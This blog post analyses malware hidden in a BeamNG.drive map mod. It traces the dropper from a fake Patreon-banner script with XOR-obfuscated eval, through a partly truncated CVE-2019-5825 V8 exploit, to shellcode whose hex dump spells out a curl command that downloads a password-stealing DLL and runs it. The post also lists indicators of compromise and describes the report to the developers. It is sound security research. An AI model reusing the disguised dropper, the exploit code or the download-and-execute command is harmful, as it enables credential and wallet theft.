How I Found Malware in a BeamNG Mod

Published April 26, 2025 Updated April 28, 2025

Banner

WARNING: This post contains snippets of code from real malware. Do not run any of the code in this post outside of a secure, isolated virtual machine.

Last week, I fired up BeamNG.drive hoping to enjoy a ride around Belasco City. But, just after I launched the game, I noticed an odd notification from my antivirus software.

AV alert

curl.exe? That can’t be good. Cloudflare Radar confirmed the domain curl tried to access is known to be malicious. At this point, however, I wasn’t 100% sure this came from the game.

Starting the investigation

To find out if the problem was indeed in the game, I re-launched it with Process Monitor running. Filtering through the events, my suspicion was confirmed: a process launching cmd with a curl command was spawned by the game.

Process monitor screenshot

But where exactly was this command coming from? Was it a mod, or was the game itself compromised?

Inspecting the call stack in Process Monitor shows the command was executed by calling WinExec, a legacy function from 16-bit Windows that is commonly used in shellcode malware.

Stack screenshot

To take a closer look, I attached the WinDbg debugger to the game process and set a breakpoint on WinExec. When the malicious code tries to run the command, the debugger will pause the process and allow me to inspect the call stack and memory. That breakpoint was hit at the exact moment I opened the in-game mod manager.

WinDbg shows which memory address WinExec was called at, and we can use that to find the shellcode that executed the command.

WinDbg screenshot

But how did this shellcode even get there in the first place? Unfortunately, the call stack doesn’t show us which file it came from, but it does contain another clue: libcef. This refers to the Chromium Embedded Framework, which suggests a vulnerability in Chromium might have been exploited to insert the shellcode into memory. BeamNG.drive uses Chromium to render parts of the UI, including the mod manager where the malicious code was executed.

I disabled all my downloaded mods and dug deeper.

The mod

I had a few more clues to help narrow down my search:

  1. When I previously played the game 2 months ago, there was nothing suspicious.
  2. The malicious command was spawned when I opened the in-game mod manager.
  3. Disabling all mods stopped the suspicious event from appearing.

Using this info, I focused on the mods I had installed or updated in the last 2 months. After unpacking the mod .zip files and searching through dozens upon dozens of Lua files, I found… nothing. Looking through that many files was just too slow. I needed to find out exactly which mod was causing the problem.

With any luck, the moment I enabled the problematic mod, the suspicious event would reappear, so I started to enable them one by one. And sure enough, it came back when I turned on a mod called American Road.

The dropper

Now that I knew which mod was the culprit, finding the malicious code should be much easier.

First stage

It didn’t take long to find some suspicious JavaScript code in a file named american_road_patreon_banner.js.

// create banner and load compiled css
const baseFolder = "/ui/modModules/american_road_patreon_banner"
var xhr = new XMLHttpRequest();
xhr.open('GET', baseFolder + "/banner.c_css", true);
xhr.responseType = "arraybuffer"; 
xhr.onload = () => {
  if (xhr.status === 200) {
    var compiledcss = new TextDecoder().decode(xhr.response);
    var styles = ((s, k) => [...s]
    .map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ k.charCodeAt(i % k.length)))
    .join(''))(compiledcss, "css");
    setTimeout(() => {
      var bannerImage = document.createElement("img", [].constructor.constructor(styles)());
      bannerImage.id = "patreon-banner"
      bannerImage.src = baseFolder + "/banner.gif";
      bannerImage.style = "display:none; padding-top: 2.6rem;";
      document.body.appendChild(bannerImage);
    }, 500)      
  }
};
xhr.send();

// handle showing and hiding of banner
// when the player is on american road and is in the escape menu, the banner will show
export default angular.module('american_road_patreon_banner', ['ui.router'])
.config(['$stateProvider', function($stateProvider) {
  $stateProvider.state('menu.american_road_patreon_banner', {
    url: '/american_road_patreon_banner',
    templateUrl: '/ui/modModules/american_road_patreon_banner/american_road_patreon_banner.html',
    controller: 'AMPatreonBannerController',
  })
}])
// ...irrelevant code truncated

At first glance, this looks like a harmless script that shows a Patreon banner when the player uses the American Road map. But on closer inspection, there are a few things that look off:

  • The american_road_patreon_banner.html file that’s referenced in the script does not actually exist.

  • It attempts to load a “compiled CSS” file called banner.c_css using an XMLHttpRequest, which seems unnecessarily complex.

    var xhr = new XMLHttpRequest();
    xhr.open('GET', baseFolder + "/banner.c_css", true);
    xhr.responseType = "arraybuffer"; 
  • After loading the “compiled CSS”, the script decodes it using bitwise XOR with the string css.

    var compiledcss = new TextDecoder().decode(xhr.response);
    var styles = ((s, k) => [...s]
    .map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ k.charCodeAt(i % k.length)))
    .join(''))(compiledcss, "css");

The most suspicious part is [].constructor.constructor(styles)(). Let’s break this expression down into its components:

  • [] is an empty array literal.
  • [].constructor is the constructor of the array type, which is a function.
  • Functions in JavaScript are objects too, of the Function type, so [].constructor.constructor is the constructor of the Function type.
  • (styles) calls the Function constructor creating a new function from the string styles.
  • () calls the newly created function.

A deobfuscated version of this would look like Function(styles)(), which is essentially the same as eval(styles), but disguised to seem like legitimate code.

Another interesting file is a Lua script that reloads the user interface after the mod is loaded, which the author of the dropper was kind enough to document for us.

-- beamng race condition causes ui files from mods to not be found when the ui gets loaded
-- since the mod zip file gets mounted AFTER the ui loads.
-- we reload once to load all missing ui modules
reloadUI()

Obviously, there was quite a bit of effort put into testing this dropper and ensuring it executes the JavaScript code. They even went as far as finding the correct Patreon link of the original mod author for the GIF banner image.

We’ve now established that this code is dynamically executing some hidden JavaScript, but what exactly is it executing?

Second stage

Remember that “compiled CSS” file? The first 3 lines look like this:

␏␖ C␐␜
␅␖␑ ␚␌␝,␁␆␕␅␖␁^␝␖␔S2␑␁␒␚1␆␅␕␖␑[KJ_␕␏␜␒␗,␅
␖␄^␝␖␔S5␏␜␒␗EG"␁␁␂

Clearly, the data is not in plain text, so we need to decode it. I used this snippet from the original JavaScript, replacing the eval-like part with console.log to see the decoded data. I also replaced the XMLHttpRequest with fs.readFileSync and then ran it with Node.js inside a virtual machine.

import fs from 'node:fs';

try {
  const data = fs.readFileSync('banner.c_css');

  var compiledcss = new TextDecoder().decode(data);
  var styles = ((s, k) => [...s]
  .map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ k.charCodeAt(i % k.length)))
  .join(''))(compiledcss, "css");

  console.log(styles);
} catch (err) {
  console.error(err);
}

This gives us the second stage of the dropper:

WARNING: THIS IS DANGEROUS CODE. Even though I’ve omitted the bad part of the payload, do not run this unless you know what you’re doing.

// ...truncated
function gfxbuffer() {
    for (let r = 0; r < 10 ** 5; r++) test(array);
    (array.length = 33554431),
        array.fill(1, 23, 24),
        array.fill(1, 25),
        array.push(2),
        (array.length += 500),
        (cnt = 1);
    try {
        test(array);
    } catch (r) {
        return test_array();
    }
    return False;
}
// ...truncated
function rq(r) {
    let t = farray[25];
    farray[25] = (r - 0x1fn).i2f();
    let n = tarray[0];
    return (farray[25] = t), n;
}
function wq(r, t) {
    let n = farray[25];
    (farray[25] = (r - 0x1fn).i2f()), (tarray[0] = t), (farray[25] = n);
}
function addrof(r) {
    return (obj.b = r), farray[33].f2i();
}
function cpy(r, t) {
    t.forEach((t, n) => {
        wq(r + BigInt(n), BigInt(t));
    });
}
function parse_css() {
    const r = new Uint8Array([
            0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96,
            0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 6, 129, 128, 128,
            128, 0, 0, 7, 133, 128, 128, 128, 0, 1, 1, 97, 0, 0, 10, 138,
            128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11,
        ]),
        t = new WebAssembly.Instance(new WebAssembly.Module(r)).exports.a;
    gfxbuffer();
    let n = rq(addrof(t) - 1n + 24n) - 1n,
        e = rq(n + 8n) - 1n,
        a = rq(e + 16n) - 1n;
    cpy(
        rq(a + 0xe8n) + 0n,
        [
            72, 131, 236, // ...truncated
        ],
    ),
        setTimeout(t, 1e3);
}
parse_css();

There’s a lot going on here, but in essence this code exploits CVE-2019-5825, a 6-year-old vulnerability in Chromium’s V8 JavaScript engine, to write machine code to an out-of-bounds executable memory location. The code above is an almost identical copy of this proof-of-concept on GitHub.

  • We start with a WebAssembly module that is defined and instantiated in the JavaScript.

    const r = new Uint8Array([
              0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96,
              0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 6, 129, 128, 128,
              128, 0, 0, 7, 133, 128, 128, 128, 0, 1, 1, 97, 0, 0, 10, 138,
              128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11,
          ]),
          t = new WebAssembly.Instance(new WebAssembly.Module(r)).exports.a;

    The contents of this module are not really important, as long as it exports a function. In this case, it’s a function called a that returns 0.

    (module
      (type (;0;) (func (result i32)))
      (func (;0;) (type 0) (result i32)
        i32.const 0
      )
      (export "a" (func 0))
    )
  • The gfxbuffer function sets the stage for out-of-bounds memory reading and writing.

  • The memory address of the WASM a function is determined.

    let n = rq(addrof(t) - 1n + 24n) - 1n,
        e = rq(n + 8n) - 1n,
        a = rq(e + 16n) - 1n;
  • A shellcode is copied into where the a function is located in memory.

    cpy(
        rq(a + 0xe8n) + 0n,
        [
            72, 131, 236, // ...truncated
        ],
    ),
  • Finally, the now-modified a function is scheduled to run after a 1-second delay.

    setTimeout(t, 1e3);
  • To make this work, a few primitives are defined:

    • addrof: gets the address of an object in memory.
    • rq: likely stands for “read quadword”, and reads a 64-bit value from a memory address.
    • wq: similarly, probably “write quadword”, and writes a 64-bit value to memory at a specified address.
    • cpy: copies an array of values to a specified memory location.

Third stage: the shellcode

The data that is copied into executable memory is the shellcode payload we’re looking for. Going deeper down this rabbit hole, we can write the bytes to a file to get a better look at it.

import fs from 'node:fs';

const r = new Uint8Array([
    72, 131, 236, // ...truncated
]);

fs.writeFileSync("shellcode.bin", r);

Viewing the resulting file in a hex or text editor reveals the original curl command we saw in Process Monitor and WinDbg:

Offset  Bytes                                            Ascii
        00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
------  -----------------------------------------------  -----
000030  C8 41 8B 41 18 85 C0 74 58 45 8B 51 20 48 89 5C  ÈA�A��ÀtXE�Q H�\
000040  24 20 48 BB 57 69 6E 45 78 65 63 00 0F 1F 40 00  $ H»WinExec ��@
...
0000A0  33 C0 48 83 C4 28 C3 63 6D 64 20 2F 63 20 63 75  3ÀH�Ä(Ãcmd /c cu
0000B0  72 6C 20 2D 73 20 2D 2D 66 61 69 6C 20 68 74 74  rl -s --fail htt
0000C0  70 73 3A 2F 2F 61 63 37 62 32 65 64 61 36 66 31  ps://ac7b2eda6f1
0000D0  34 2E 64 61 74 61 68 6F 67 2E 73 75 2F 32 77 33  4.datahog.su/2w3
0000E0  65 39 38 74 35 7A 68 32 39 38 77 33 74 7A 68 67  e98t5zh298w3tzhg
0000F0  37 39 38 32 77 33 74 34 65 67 20 2D 6F 20 22 25  7982w3t4eg -o "%
000100  54 45 4D 50 25 5C 74 6D 70 36 46 43 31 35 2E 74  TEMP%\tmp6FC15.t
000110  6D 70 22 20 26 26 20 6D 6F 76 65 20 22 25 54 45  mp" && move "%TE
000120  4D 50 25 5C 74 6D 70 36 46 43 31 35 2E 74 6D 70  MP%\tmp6FC15.tmp
000130  22 20 22 25 54 45 4D 50 25 5C 74 6D 70 36 46 43  " "%TEMP%\tmp6FC
000140  31 35 2E 64 6C 6C 22 20 26 26 20 72 75 6E 64 6C  15.dll" && rundl
000150  6C 33 32 20 22 25 54 45 4D 50 25 5C 74 6D 70 36  l32 "%TEMP%\tmp6
000160  46 43 31 35 2E 64 6C 6C 22 2C 6D 61 69 6E 00     FC15.dll",main

The bytes before the command are probably x86 instructions that locate and call the WinExec function, which is responsible for executing the command.

The payload

All the code we’ve seen so far is just to download and execute a DLL file from the Internet. This DLL is the real malware and a quick analysis reveals it’s an infostealer that steals passwords from browsers and the Exodus crypto wallet app.

Indicators of compromise

File paths:

Hashes:

  • MD5: fb2799e1d76a5897bcc2675e90f22869

  • SHA-1: 96708c84e07d058b5f0012666e565617907add99

  • SHA-256: 9ec86514d5993782d455a4c9717ec4f06d0dfcd556e8de6cf0f8346b8b8629d4

  • MD5: 3134c94ffbc5ee53f76e12d88e8d964d

  • SHA-1: a77271854d70ac119552ab830eb266e94cc8b9cc

  • SHA-256: 75c0aa897075a7bfa64d8a55be636a6984e2d1a5a05a54f0f01b0eb4653e9c7a

Domains:

So, what now?

After determining which mod is infected, I reached out to the BeamNG team with details about the mod and the malicious code. Within a few days, the infected mod version was removed from the official repository, and its author’s account was suspended because it is very likely compromised.

If you have American Road installed, you should remove it and scan your computer for malware. I also recommend changing all your passwords, as it’s possible they might have been stolen if your antivirus didn’t stop the DLL from executing.

Looking through the mod’s page on the BeamNG website, I found the malicious code was added on April 1st. The changelog stating “added patreon banner” was the final nail in the coffin. Unfortunately, over 3500 people had already downloaded the compromised version of the mod before it was removed, so it’s possible that some had their passwords or personal information stolen. VirusTotal reports that most antivirus programs detect the DLL as malicious, including Microsoft Windows Defender, but there is about a one-week gap between the April 1st update and the first analysis.

To prevent incidents like this from happening in the future, the solution could be as simple as updating the Chromium Embedded Framework dependency to a newer version. WinDbg shows that the game is using version 3.3626.1895.g7001d56 which was released in March 2019 (yes, that’s 6 years old already!), and there were quite a few Chromium out-of-bounds access vulnerabilities fixed in the last few years.

BeamNG.drive also uses the --no-sandbox flag, which likely allowed the exploit to work in the first place, so removing it would be a good idea as well.

Perhaps I’ll make a follow-up post reverse-engineering the shellcode and analyzing the DLL in more detail, so stay tuned!

Summary

In this post, we looked at an infected mod for BeamNG.drive that included obfuscated JavaScript and shellcode. Starting with an antivirus alert, we used Process Monitor and WinDbg to gather important details, and then uncovered each layer of the malicious code with reverse engineering. We found that a Chromium vulnerability involving WASM and out-of-bounds memory access was exploited to write shellcode into executable memory. Finally, we discovered that the shellcode downloads a malicious DLL file that steals passwords and personal information.

Shout-out to Elliott for helping out with the DLL analysis, and a big thank-you to my dad for walking me through WinDbg!

And of course, thank you for reading! If you liked this post, please share the link anywhere you like.